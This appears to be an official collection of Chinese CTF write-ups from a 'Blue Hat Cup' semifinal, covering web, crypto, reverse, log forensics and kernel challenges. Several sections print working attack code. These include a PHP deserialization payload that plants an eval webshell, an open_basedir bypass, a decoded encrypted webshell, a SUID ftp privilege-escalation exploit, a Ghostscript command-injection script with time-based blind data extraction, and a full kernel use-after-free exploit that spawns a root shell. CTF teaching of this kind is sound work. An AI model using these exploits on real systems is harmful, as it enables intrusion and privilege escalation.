easyfatfree
by “小橘子真好吃“战队
<?php
namespace DB;
//! In-memory/flat-file DB wrapper
class Jig {
//@{ Storage formats
const
FORMAT_JSON=0,
FORMAT_Serialized=1;
//@}
protected
//! Storage location
$dir = '/var/www/html/ui/',
//! Current storage format
$format = 'self::FORMAT_JSON',
//! Memory-held data
$data = array('or4nge.php'=>array('a'=>'<?php eval($_POST[1]);?>')),
//! lazy load/save files
$lazy = TRUE;
/**
* Read data from memory/file
* @return array
* @param $file string
**/
}
$jig = new jig();
echo urlencode(serialize($jig));
写shell后发现有open_basedir限制,绕过后直接读flag。
1=mkdir("s");chdir('s');ini_set('open_basedir','..');chdir('..');chdir('..');
chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents("/flag");
babynim
by “小橘子真好吃“战队
nim语言,根据符号表进入找到main函数
使用readLine获取输入
要求输入长度为42
验证flag格式并提取内容
将flag转换为数字,并与另一串数字56006392793428440965060594343955737638876552919041519193476344215226028549209672868995436445345986471相乘,要求结果为51748409119571493927314047697799213641286278894049840228804594223988372501782894889443165173295123444031074892600769905627166718788675801
整除即可获得flag
ecc_stream
by “小橘子真好吃“战队
本题的关键在于恢复p,总共有256组,猜测大概率有连续为0的4组,即在数组中均为点x的值,由点的递推关系可得3个同余方程组,将a^2和a视为两个不同变量,分别解出,再根据a^2-(a)^2==k*p
得到kp,发现不止一组,求gcd得到p。后续都非常顺理成章了。
res = []
for i in range(253):
var('aa a b')
eq = []
for j in range(3):
c0 = -2 * (F[i+j]^2)-4*F[i+j]*F[i+j+1]
c1 = -4 * F[i+j+1]-8*F[i+j]
c2 = F[i+j]^4 -4 * F[i+j+1] *(F[i+j]^3)
eq.append(aa+c0*a+c1*b+c2==0)
t0 = solve(eq, aa, a, b)[0][0].rhs()
t1 = solve(eq, aa, a, b)[0][1].rhs()
t1 = t1 ^ 2
le = t0.numerator() * t1.denominator()
rh = t0.denominator() * t1.numerator()
res.append(abs(le - rh))
for i in range(253):
for j in range(i + 1, 253):
ans = gcd(res[i], res[j])
if ans > 2 ^ 200:
print(ans)
print(i, j)
解得a,b
zp = Zmod(p)
for i in range(253):
var('aa a b')
eq = []
for j in range(3):
c0 = -2 * (F[i+j]^2)-4*F[i+j]*F[i+j+1]
c1 = -4 * F[i+j+1]-8*F[i+j]
c2 = F[i+j]^4 -4 * F[i+j+1] *(F[i+j]^3)
eq.append(aa+c0*a+c1*b+c2==0)
t0 = solve(eq, aa, a, b)[0][1].rhs()
t1 = solve(eq, aa, a, b)[0][2].rhs()
if i == 0:
print(zp(t0.numerator())*zp(t0.denominator())^(-1))
print(zp(t1.numerator())*zp(t1.denominator())^(-1))
还原x
p = 17820136898270565003583154860416743796390790040178335664072441472386305480761
a = 9350908279444197743025002468741904275718898737006581492427705992219827176952
b = 13500852895882965574928430100049589390809744881726797117323415176748623881582
E = EllipticCurve(GF(p),[a,b])
G = E(16581946065268567237817415232739386442228092328655083118189304246170597434332, 6572297618785458302447485568200876595775007972363489568076029901524495685352)
print(G)
print(G.xy()[0])
ans = 0
for i in range(256):
try:
x, y = G.xy()
if F[i] == x:
ans += 0
else:
ans += 2^i
G = 2 * G
except:
print(G.xy())
print(ans)
异或得到flag
import random, hashlib
from Crypto.Util.number import *
enc = 'ba1e3092e2baba2ed9d70b5d847bb74d8a7b59461d16240c0017ed79c5e4052149129bc5d3c1112ad22e'
a = 4009442033181566772244087448152745364151945732097529946674447227730338811104
x = hashlib.sha384(long_to_bytes(a)).digest()
flag = bytes([i^j for (i,j) in zip(bytes.fromhex(enc), x)])
print(flag)
神秘的日志
by “小橘子真好吃“战队
用Windows事件查看器打开日志,阅读系统记录的操作逻辑发现日志记录时间顺序由近到远,NTLM过程中系统时间发生过改变。
查阅有关NTLM中继攻击的资料发现攻击过程中涉及到两次NTLM验证,即日志中的两条LSA记录。审计发现两次NTLM验证间系统发生了一次重启。查到对应的NTLM模式:https://www.freebuf.com/articles/web/336237.html
因此推测答案为security日志中第二次LSA记录的时间或NTLM验证结束后的第一次logon对应的时间,测试发现答案是md5{第二次LSA后第一个logon的timeCreated SystemTime}。
加密的通道
by “小橘子真好吃“战队
一条条追踪http流,发现行为顺序是:用蚁剑连接1.php,写了rsa.php后用加密流量rce,尝试ls,测试写了flag.txt,再ls,最后写了一个真的flag。
流量发现rsa.php是用phpjiami的php,用phpjiami_decode-master解密还原得到:
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDieYmLtWbGRSvUtevSlTOozmWR
qEGF4Hfvb1YCoVYAAlhnHnyMk+aLRvLXKgmerWiS+QD6y08Ispuzzn02tHE6d4Qp
DuPiPO9PAdGSXzFVFLK2hOrkXLsDXugNTdVUprdkPPI1YY0ZnMs1bT2Zf2dfuBI5
0S5e5sSOF85kNq/zwwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
foreach($_POST as $k => $v){
if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
$_POST[$k]=$de;
}
}
eval($cmd);
发现这是用公钥解密的,所以追踪最后一条流得到参数
k85c8f24ca50da=yLxWGRCHJBEhtpnW7XTEjZa8U06pkFvEqTea5ISI%2FLggnmMXPblFZ6sDNJHoym6I0CkQIYr62%2B8sauFSYOHtPEpFX62kBmMAxi7abHOzQl5FAf2VO5wiezcXRp5nLDfqHCLa0Y8T9kaplu81yXLzXtlhZYgrqMtDsFROJ%2BZKNN0%3D
用公钥解密后去掉前两位解base64即可。
onelinephp
by 伽玛实验室
题目只给了一个php eval 查看根目录flag 权限发现只有root可读,可猜测需要提权
使用find / -perm -u=s -type f 2>/dev/null
寻找存在suid权限的应用
发现/usr/bin/netkit-ftp并不寻常,如果/usr/bin/netkit-ftp可以执行系统命令 就有利用的空间 通过查阅资料可以得知此应用为ubuntu自带的ftp应用 通过help功能即可发现ftp本身存在执行命令功能 即! 但是在实际操作中发现并不能直接通过这个功能进行php交互提权,于是查看该ftp源代码
https://github.com/mmaraya/netkit-ftp
定位到功能实现代码可知是从系统变量中获取SHELL变量进行执行
最终执行的是SHELL -c xxxx命令
因此可以通过export劫持系统变量来进行提权 但是尝试了bash、sh、dash都无法成功提权
可以将theshell劫持为其他可使用-c参数的程序来进行提权 这里找的是od -c 来读取flag
最终的exp:
putenv("SHELL=/usr/bin/od");
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "r")
);
$file=array();
$process = proc_open("ftp", $descriptorspec, $file);
var_dump($process);
var_dump($file);
function readln($file){
$out = "";
$a = fread($file, 1);
echo "readln";
while ($a != "n") {
$out = $out.$a;
$a = fread($file, 1);
}
return $out;
}
fputs($file[0], "! /flagn");
sleep("2");
$data = readln($file[1]);
echo $data;
TimeIsMoney
by 伽玛实验室
通过查看DockerFile
可以看到环境里面是包含imageMagick
的,并且GhostScript9.5.0
是存在命令执行漏洞。
通过代码审计,可以发现这个服务一共包含两个路由。
首先是/import
,通过这个路由我们可以通过这个路由将requeset body
中的内容到/tmp/image
目录下。但是这个地方存在几个限制,
@RequestMapping("/import")
public String importImage(HttpServletRequest request) throws IOException {
byte[] bytes = org.apache.commons.io.IOUtils.toByteArray(request.getInputStream());
if (bytes == null || bytes.length == 0) {
throw new RuntimeException("invalid import operation");
}
bytes = filter(bytes);
if (bytes != null && bytes.length > 0 && bytes.length < 400) {
FileOutputStream fous = new FileOutputStream("/tmp/image");
fous.write(bytes);
fous.flush();
fous.close();
return "import image success fully";
} else {
return "request has been filtered";
}
}
首先是对写入内容的限制。这里过滤了pipe
等关键字。我们可以在关键字中间插入<!-- -->
来绕过这个限制。
private byte[] filter(byte[] bytes) {
String text = new String(bytes);
String[] contentBlackList = new String[]{
"$", "pipe", "&#", "data", "[", "]", "DATA", "\"
};
for (String item : contentBlackList) {
if (text.contains(item)) {
return null;
}
}
return bytes;
}
之后就是内容长度的限制,只允许400字符的长度。
并且观察到docker-compose.yml
中,是存在一个nginx
反向代理的结构,而且web
这个服务是不出网的。这时候自然而然想到命令注入盲注来外带回显。所以顺着这个思路,编写以下脚本
import time
import string
import base64
import requests
from argparse import ArgumentParser
PAYLOAD_TEMPLATE = "<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <hui><desc>copies (%pipe%/tmp/;{payload}) (r) file showpage 0 quit </desc> <image href="epi:/proc/self/fd/3" /> <svg width="1px" height="1px" /> </hui>n"
def payloadMaker(command):
payload = PAYLOAD_TEMPLATE.format(payload = command ).replace("pipe","p<!-- -->ipe").replace("data","da<!-- -->ta")
return payload
def execute(cmd):
cmd = "echo {} | base64 -d | bash".format(base64.b64encode(cmd.encode()).decode())
payload = payloadMaker(cmd)
now = time.time()
requests.get("{}/import".format(base_url),data=payload)
requests.get('{}/transform'.format(base_url),timeout=3)
# print(time.time()-now)
if __name__ == '__main__':
parser = ArgumentParser()
parser.add_argument('-u',"--url",help='game url, eg: http://localhost:58080',required=True)
parser.add_argument('-t','--timeout',help='http connection timeout,attetion seconds min is 3',default=4)
args = parser.parse_args()
base_url =args.url
timeout = args.timeout
if timeout < 3:
parser.print_usage()
exit(-1)
flag = ""
for l in range(1,50):
for x in string.printable:
try:
execute("sleep $(cat /flag|cut -c{}|tr {} 4)".format(l,x))
except Exception as e:
flag += x
print(flag)
break;
最后执行python exploit -u http://localhost:20003
即可获得flag
Smurfs
by 伽玛实验室
首先解包rootfs.cpio文件拿到ko文件,逆向分析发现存在3个功能,分别是add、del、edit,同时add只能申请两个堆块,在del里面有着明显的uaf漏洞,edit只能写八个字节
我们首先需要考虑的是如何泄露出我们想要的地址比如kernel或者heap的地址,我们可以利用modify_ldt这个系统调用来满足我们的设想,该系统调用提供四个功能,其中read_ldt
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
struct mm_struct *mm = current->mm;
unsigned long entries_size;
int retval;
down_read(&mm->context.ldt_usr_sem);
if (!mm->context.ldt) {
retval = 0;
goto out_unlock;
}
if (bytecount > LDT_ENTRY_SIZE * LDT_ENTRIES)
bytecount = LDT_ENTRY_SIZE * LDT_ENTRIES;
entries_size = mm->context.ldt->nr_entries * LDT_ENTRY_SIZE;
if (entries_size > bytecount)
entries_size = bytecount;
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
if (entries_size != bytecount) {
/* Zero-fill the rest and pretend we read bytecount bytes. */
if (clear_user(ptr + entries_size, bytecount - entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
}
retval = bytecount;
out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}
可以看到有copy_to_user,假设我们能控制mm->context.ldt->entries
便可以任意地址读,并且如果失败则返回负数,因此我们可以通过这个特性来爆破出heap_addr,而mm->context.ldt->entries
会在write_ldt函数中申请赋值
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
struct mm_struct *mm = current->mm;
struct ldt_struct *new_ldt, *old_ldt;
unsigned int old_nr_entries, new_nr_entries;
struct user_desc ldt_info;
struct desc_struct ldt;
int error;
error = -EINVAL;
if (bytecount != sizeof(ldt_info))
goto out;
error = -EFAULT;
if (copy_from_user(&ldt_info, ptr, sizeof(ldt_info)))
goto out;
error = -EINVAL;
if (ldt_info.entry_number >= LDT_ENTRIES)
goto out;
if (ldt_info.contents == 3) {
if (oldmode)
goto out;
if (ldt_info.seg_not_present == 0)
goto out;
}
if ((oldmode && !ldt_info.base_addr && !ldt_info.limit) ||
LDT_empty(&ldt_info)) {
/* The user wants to clear the entry. */
memset(&ldt, 0, sizeof(ldt));
} else {
if (!ldt_info.seg_32bit && !allow_16bit_segments()) {
error = -EINVAL;
goto out;
}
fill_ldt(&ldt, &ldt_info);
if (oldmode)
ldt.avl = 0;
}
if (down_write_killable(&mm->context.ldt_usr_sem))
return -EINTR;
old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);
error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;
if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);
new_ldt->entries[ldt_info.entry_number] = ldt;
finalize_ldt_struct(new_ldt);
/*
* If we are using PTI, map the new LDT into the userspace pagetables.
* If there is already an LDT, use the other slot so that other CPUs
* will continue to use the old LDT until install_ldt() switches
* them over to the new LDT.
*/
error = map_ldt_struct(mm, new_ldt, old_ldt ? !old_ldt->slot : 0);
if (error) {
/*
* This only can fail for the first LDT setup. If an LDT is
* already installed then the PTE page is already
* populated. Mop up a half populated page table.
*/
if (!WARN_ON_ONCE(old_ldt))
free_ldt_pgtables(mm);
free_ldt_struct(new_ldt);
goto out_unlock;
}
install_ldt(mm, new_ldt);
unmap_ldt_struct(mm, old_ldt);
free_ldt_struct(old_ldt);
error = 0;
out_unlock:
up_write(&mm->context.ldt_usr_sem);
out:
return error;
}
我们注意到new_ldt = alloc_ldt_struct(new_nr_entries);
,其会调用alloc_ldt_struct函数
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;
if (num_entries > LDT_ENTRIES)
return NULL;
new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL_ACCOUNT);
if (!new_ldt)
return NULL;
BUILD_BUG_ON(LDT_ENTRY_SIZE != sizeof(struct desc_struct));
alloc_size = num_entries * LDT_ENTRY_SIZE;
/*
* Xen is very picky: it requires a page-aligned LDT that has no
* trailing nonzero bytes in any page that contains LDT descriptors.
* Keep it simple: zero the whole allocation and never allocate less
* than PAGE_SIZE.
*/
if (alloc_size > PAGE_SIZE)
new_ldt->entries = __vmalloc(alloc_size, GFP_KERNEL_ACCOUNT | __GFP_ZERO);
else
new_ldt->entries = (void *)get_zeroed_page(GFP_KERNEL_ACCOUNT);
if (!new_ldt->entries) {
kfree(new_ldt);
return NULL;
}
/* The new LDT isn't aliased for PTI yet. */
new_ldt->slot = -1;
new_ldt->nr_entries = num_entries;
return new_ldt;
}
而该函数会调用kmalloc来申请堆块,size为ldt_struct的大小即为0x10,假设我们通过uaf修改entries然后在调用read_ldt这时候就可以做到任意地址读
ldt结构体:
struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries;
/*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};
通过爆破泄露出heap_base以及kernel_base然后我们申请一个0x20的堆块将其free掉,然后通过劫持seq_options->stat
指针来劫持流程,将其劫持成xchg eax,esp
来进行栈迁移至用户态
exp:
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <stdint.h>
#include <sys/mman.h>
#include <signal.h>
#include <linux/keyctl.h>
#include <sys/prctl.h>
#define SIZE 0x60
size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
long int data[0x400];
size_t modprobe_path = 0;
uint64_t kernel_base = 0;
uint64_t raceSign = 0;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell(void){
system("/bin/sh");
}
void getroot()
{
void *(*pkc)(void *) = prepare_kernel_cred;
void (*cc)(void *) = commit_creds;
cc(pkc(0));
}
void swapgs_iretq()
{
__asm__("swapgs;"
"iretq;");
}
void spawn_shell()
{
system("/bin/sh");
}
int add(int fd,uint64_t size,char *buf){
uint64_t arg[2] = {size,buf};
ioctl(fd,0x20,arg);
}
int del(int fd,uint64_t idx){
uint64_t arg[1] = {idx};
ioctl(fd,0x30,arg);
}
int edit(int fd,uint64_t idx,uint64_t size,char *buf){
uint64_t arg[3] = {idx,size,buf};
ioctl(fd,0x50,arg);
}
struct msg_msg {
uint64_t m_list_next;
uint64_t m_list_prev;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};
struct msg_msgseg {
uint64_t next;
};
struct pipe_buffer {
uint64_t page;
uint32_t offset;
uint32_t len;
uint64_t ops;
uint32_t flags;
uint32_t pad;
uint64_t private;
};
struct {
long mtype;
char mtext[0x4000];
} msgbuf;
struct pipe_buf_operations {
uint64_t confirm;
uint64_t release;
uint64_t steal;
uint64_t get;
};
int add_msg(int msqid, const void *msgp, size_t msgsz) {
if (msgsnd(msqid, msgp, msgsz, 0) < 0) {
perror("[-] msgsnd");
return -1;
}
return 0;
}
int show_msg(int msqid, void *msgp, size_t msgsz) {
if (msgrcv(msqid, msgp, msgsz, 0, MSG_COPY | IPC_NOWAIT) < 0) {
perror("[-] msgrcv");
return -1;
}
return 0;
}
int free_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
if (msgrcv(msqid, msgp, msgsz, msgtyp, 0) < 0) {
perror("[-] msgrcv");
return -1;
}
return 0;
}
int msg_get(){
int pid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if(pid < 0){
perror("msgget");
return -1;
}
return pid;
}
int show_buf(uint64_t *buf,uint64_t size){
for(int i = 0;i<size;i++){
printf("%d ==> %llxn",i,*(uint64_t*)(buf + i*8));
}
}
void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_type,uint64_t m_ts, uint64_t next) {
msg->m_list_next = m_list_next;
msg->m_list_prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = 0;
}
void modprobe_hax()
{
system("echo '#!/bin/sh' > /tmp/x; echo 'setsid cttyhack setuidgid 0 /bin/sh' >> /tmp/x");
system("chmod +x /tmp/x");
int ff = open("/tmp/asd", O_WRONLY|O_CREAT);
write(ff, "xffxffxffxff", 4);
close(ff);
system("chmod 777 /tmp/asd; /tmp/asd");
system("sh");
}
size_t init_cred;
size_t prepare_kernel_cred;
size_t commit_creds;
size_t pop_rdi;
int seq_fd;
size_t swapgs_restore_regs_and_return_to_usermode;
int fd;
struct user_desc u_desc;
long long target[1];
int main(){
signal(SIGSEGV, spawn_shell);
signal(SIGTRAP, spawn_shell);
save_status();
fd = open("/dev/kernelpwn",0);
if(fd < 0){
puts("Open Error");
_exit(1);
}
char *buf = calloc(1,0x4000);
char *buf1 = calloc(1,0x8000);
memset(buf,'b',0x1000);
add(fd,0x10,buf);
add(fd,0x20,buf);
del(fd,0);
u_desc.base_addr=0xff0000;
u_desc.entry_number=0x1000/8;
u_desc.limit=0;
u_desc.seg_32bit=0;
u_desc.contents=0;
u_desc.read_exec_only=0;
u_desc.limit_in_pages=0;
u_desc.seg_not_present=0;
u_desc.useable=0;
u_desc.lm=0;
int ret=syscall(SYS_modify_ldt, 1, &u_desc,sizeof(u_desc));
unsigned long long addr=0xffff888000000000;
*(uint64_t*)buf = addr;
while(1){
edit(fd,0,0x8,buf);
ret=syscall(SYS_modify_ldt, 0, target,8);
if(ret<0){
addr+=0x40000000;
*(uint64_t*)buf = addr;
continue;
}
printf("heap_base: 0x%llxn",addr);
break;
}
uint64_t mod_heap = addr + 0x11e8000;
//uint64_t mod_heap = addr + 0x39e8000;
printf("mod_heap => 0x%llxn",mod_heap);
*(uint64_t*)buf = mod_heap;
uint64_t tmp_addr;
edit(fd,0,0x8,buf);
syscall(SYS_modify_ldt, 0, buf1,0x1000);
for(int i = 0;i<0x1000/0x8;i++){
tmp_addr = *(uint64_t*)(buf1 + 8*i);
if(tmp_addr > 0xffffffff81000000){
if((uint64_t)(tmp_addr & 0x00000000000fffff) == 0x6c000){
kernel_base = (uint64_t)(tmp_addr-0x1a6c000);
printf("FOUND kernel_base = 0x%llxn",kernel_base);
break;
}
}
}
if(kernel_base == 0){
puts("NONONO");
_exit(0);
}
pop_rdi = 0x8c420 + kernel_base;
commit_creds = 0xc9540 + kernel_base;
init_cred = 0x1a6b700 + kernel_base;
swapgs_restore_regs_and_return_to_usermode = 0xc00fb0 + kernel_base + 0x1e;
uint64_t xchg_eax_esp = 0xe5bb9 + kernel_base;
del(fd,1);
seq_fd = open("/proc/self/stat",0);
uint64_t fake_seq_struct[0x20] = {0};
uint64_t iretq = 0x2df + kernel_base;
uint64_t *fake_stack = mmap(xchg_eax_esp & 0xfffff000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if(fake_stack != (xchg_eax_esp & 0xfffff000))
{
puts("[!] mmap failed");
exit(-1);
}
printf("fake_stack: 0x%llxn",fake_stack);
fake_seq_struct[0] = xchg_eax_esp;
uint64_t base = (xchg_eax_esp & 0xfff) / 8;
uint64_t index = 0;
uint64_t swapgs_ret = 0xbc889f + kernel_base;
fake_stack = xchg_eax_esp & 0xffffffff;
printf("fake_stack: 0x%llxn",fake_stack);
edit(fd,1,0x8,fake_seq_struct);
fake_stack[index++] = pop_rdi;
fake_stack[index++] = init_cred;
fake_stack[index++] = commit_creds;
fake_stack[index++] = swapgs_ret;
fake_stack[index++] = iretq;
fake_stack[index++] = (uint64_t)spawn_shell;
fake_stack[index++] = user_cs;
fake_stack[index++] = user_rflags;
fake_stack[index++] = user_sp;
fake_stack[index++] = user_ss;
read(seq_fd,0x1234,0x1);
spawn_shell();
}
相关阅读
春秋GAME伽玛实验室
会定期分享赛题赛制设计、解题思路……
如果你日常有一些技术研究和好的设计思路
或在赛后对某道题有另辟蹊径的想法
欢迎找到春秋GAME投稿哦~
联系vx:cium0309
欢迎加入 春秋GAME CTF交流2群
Q群:703460426
原文始发于微信公众号(春秋伽玛):【官方WP】第六届“蓝帽杯”半决赛CTF题目解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论